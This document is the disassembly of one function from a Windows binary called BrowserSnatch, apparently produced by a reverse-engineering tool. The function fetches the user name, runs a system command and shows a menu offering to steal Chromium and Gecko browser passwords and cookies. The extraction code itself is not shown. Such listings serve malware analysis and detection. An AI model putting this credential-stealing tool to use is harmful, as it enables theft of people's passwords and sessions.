Function at 0x1400278d0
Capabilities:
Execute command
Get session user name

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x2b8]
sub rsp, 0x390
movaps xmmword [rax - 0x38], xmm6
mov rax, qword [0x1400e5040]
xor rax, rsp
mov qword [rbp + 0x270], rax
mov r13, rdx
mov r15d, ecx
xor ebx, ebx
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
mov edi, ebx
mov qword [rbp - 0x78], rbx
mov r14d, 0xf
mov qword [rbp - 0x70], r14
mov byte [rsp + 0x78], bl
mov dword [rsp + 0x68], 0x104
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x60]
call qword [sym.imp.ADVAPI32.dll_GetUserNameW]
test eax, eax
je 0x1400279dc
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x20], xmm0
movups xmmword [rbp - 0x10], xmm0
movups xmmword [rbp], xmm0
movups xmmword [rbp + 0x10], xmm0
movups xmmword [rbp + 0x20], xmm0
movups xmmword [rbp + 0x30], xmm0
movups xmmword [rbp + 0x40], xmm0
mov qword [rbp + 0x50], rax
lea rcx, [rbp - 0x20]
call fcn.140028440
nop
lea r9, [rbp + 0x60]
cmp word [rbp + 0x60], bx
je 0x14002799b
nop word [rax + rax]
add r9, 2
cmp word [r9], 0
jne 0x140027990
lea r8, [rbp + 0x60]
lea rdx, [rsp + 0x20]
lea rcx, [rbp - 0x20]
call fcn.1400285f0
movups xmm0, xmmword [rsp + 0x20]
movups xmmword [rsp + 0x78], xmm0
movups xmm6, xmmword [rsp + 0x30]
movups xmmword [rbp - 0x78], xmm6
lea rcx, [rbp - 0x20]
call fcn.140028350
movdqa xmm0, xmm6
psrldq xmm0, 8
movq r14, xmm0
movq rdi, xmm6
call fcn.1400273b0
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
movdqa xmm2, xmmword [0x1400d3020]
movdqa xmmword [rbp - 0x50], xmm2
mov byte [rbp - 0x60], 0
movups xmmword [rbp - 0x40], xmm0
movdqa xmm1, xmm2
movdqa xmmword [rbp - 0x30], xmm2
mov byte [rbp - 0x40], 0
lea r9, [rsp + 0x78]
mov rsi, qword [rsp + 0x78]
cmp r14, 0xf
cmova r9, rsi
psrldq xmm2, 8
movq rax, xmm2
cmp rdi, rax
ja 0x140027a52
lea rbx, [rbp - 0x60]
cmp rax, 0xf
cmova rbx, qword [rbp - 0x60]
mov qword [rbp - 0x50], rdi
mov r8, rdi
mov rdx, r9
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rdi + rbx], 0
xor ebx, ebx
jmp 0x140027a6b
mov rdx, rdi
lea rcx, [rbp - 0x60]
call fcn.14000b080
mov r14, qword [rbp - 0x70]
mov rdi, qword [rbp - 0x78]
mov rsi, qword [rsp + 0x78]
lea rdx, [0x1400e50c0]
lea rcx, [rbp - 0x40]
call fcn.140010e00
nop
cmp r15d, 1
jle 0x140027d59
mov rdx, qword [r13 + 8]
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x30], xmm1
mov rbx, 0xffffffffffffffff
mov r8, rbx
inc r8
cmp byte [rdx + r8], 0
jne 0x140027aa5
lea rcx, [rsp + 0x20]
call fcn.140005830
lea rcx, [rsp + 0x20]
mov rdi, qword [rsp + 0x20]
mov r15, qword [rsp + 0x38]
cmp r15, 0xf
cmova rcx, rdi
mov r8, qword [rsp + 0x30]
cmp r8, 6
jne 0x140027af0
lea rdx, str.__help
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140027af0
mov r12b, 1
jmp 0x140027af3
xor r12b, r12b
cmp r15, 0xf
jbe 0x140027b2d
lea rdx, [r15 + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x140027b25
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140027b25
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rdi
call fcn.1400c28dc
test r12b, r12b
je 0x140027cca
nop word [rax + rax]
lea rcx, [0x1400d2a8c]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.1400c1640
lea rdx, str.____e_1_32mBrowserSnatche_0m___All_in_one_Browser_Data_Extraction_Tool
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140005170
lea rdx, [0x140005340]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call fcn.1400c1640
lea rdx, str._n_e_1_36m_1_e_0m_Snatch_Chromium_Based_Browser_Passwords
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140005170
lea rdx, [0x140005340]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str._e_1_36m_2_e_0m_Snatch_Gecko_Based_Browser_Passwords
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140005170
lea rdx, [0x140005340]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str._e_1_36m_3_e_0m_Snatch_Chromium_Based_Browser_Cookies
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140005170
lea rdx, [0x140005340]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str._e_1_36m_4_e_0m_Snatch_Gecko_Based_Browser_Cookies
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140005170
lea rdx, [0x140005340]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str._e_1_36m_5_e_0m_Snatch_Everything_default_settings
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140005170
lea rdx, [0x140005340]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str._e_1_31m_0_e_0m_Exit
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140005170
lea rdx, [0x140005340]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call fcn.1400c1640
lea rdx, str._ne_1_34mChoose_an_option_to_proceed__0_5_:_e_0m
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140005170
lea rdx, [rsp + 0x70]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___int____ptr64____ptr64]
mov edx, dword [rsp + 0x70]
lea rcx, [rbp - 0x60]
call fcn.1400c1b20
cmp dword [rsp + 0x70], 0
je 0x140027cca
lea rdx, str._nPress_Enter_to_continue...
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140005170
mov r8d, ebx
mov edx, 1
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::ignore_long_long___int64___int____ptr64]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::basic_istream_char__struct_std::char_traits_char__::get_void____ptr64]
cmp dword [rsp + 0x70], 0
jne 0x140027b40
xor ebx, ebx
mov rdx, qword [rbp - 0x28]
cmp rdx, 0xf
jbe 0x140027d03
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140027cfe
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140027d52
call fcn.1400c28dc
movdqa xmm0, xmmword [0x1400d3020]
movdqa xmmword [rbp - 0x30], xmm0
mov byte [rbp - 0x40], 0
mov rdx, qword [rbp - 0x48]
cmp rdx, 0xf
jbe 0x140027e88
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140027e83
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140027e83
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
lea rax, [rsp + 0x48]
mov qword [rsp + 0x70], rax
lea rdx, [0x1400e50c0]
lea rcx, [rsp + 0x48]
call fcn.140004a10
mov r12, rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x38], rbx
lea r15, [rsp + 0x78]
cmp r14, 0xf
cmova r15, rsi
movabs rbx, 0x7fffffffffffffff
cmp rdi, rbx
ja 0x140027f0a
cmp rdi, 0xf
ja 0x140027dcb
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x38], 0xf
movups xmm0, xmmword [r15]
movups xmmword [rsp + 0x20], xmm0
jmp 0x140027e62
mov rax, rdi
or rax, 0xf
cmp rax, rbx
jbe 0x140027e03
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.1400c28a0
mov rcx, rax
test rax, rax
je 0x140027e2e
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140027e43
mov rbx, rax
mov ecx, 0x16
cmp rax, rcx
cmovb rbx, rcx
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140027e35
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140027f10
jmp 0x140027de5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x140027e41
call fcn.1400c28a0
jmp 0x140027e43
xor eax, eax
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x38], rbx
lea r8, [rdi + 1]
mov rdx, r15
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
nop
mov r8, r12
lea rdx, [rsp + 0x20]
call fcn.1400c1720
test eax, eax
jne 0x140027cca
mov rbx, 0xffffffffffffffff
jmp 0x140027ccc
call fcn.1400c28dc
movdqa xmm0, xmmword [0x1400d3020]
movdqa xmmword [rbp - 0x50], xmm0
mov byte [rbp - 0x60], 0
cmp r14, 0xf
jbe 0x140027ed3
lea rdx, [r14 + 1]
mov rax, rsi
cmp rdx, 0x1000
jb 0x140027ecb
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140027ecb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rsi
call fcn.1400c28dc
mov eax, ebx
mov rcx, qword [rbp + 0x270]
xor rcx, rsp
call fcn.1400c2880
lea r11, [rsp + 0x390]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1400019b0
nop
call fcn.140001910
int3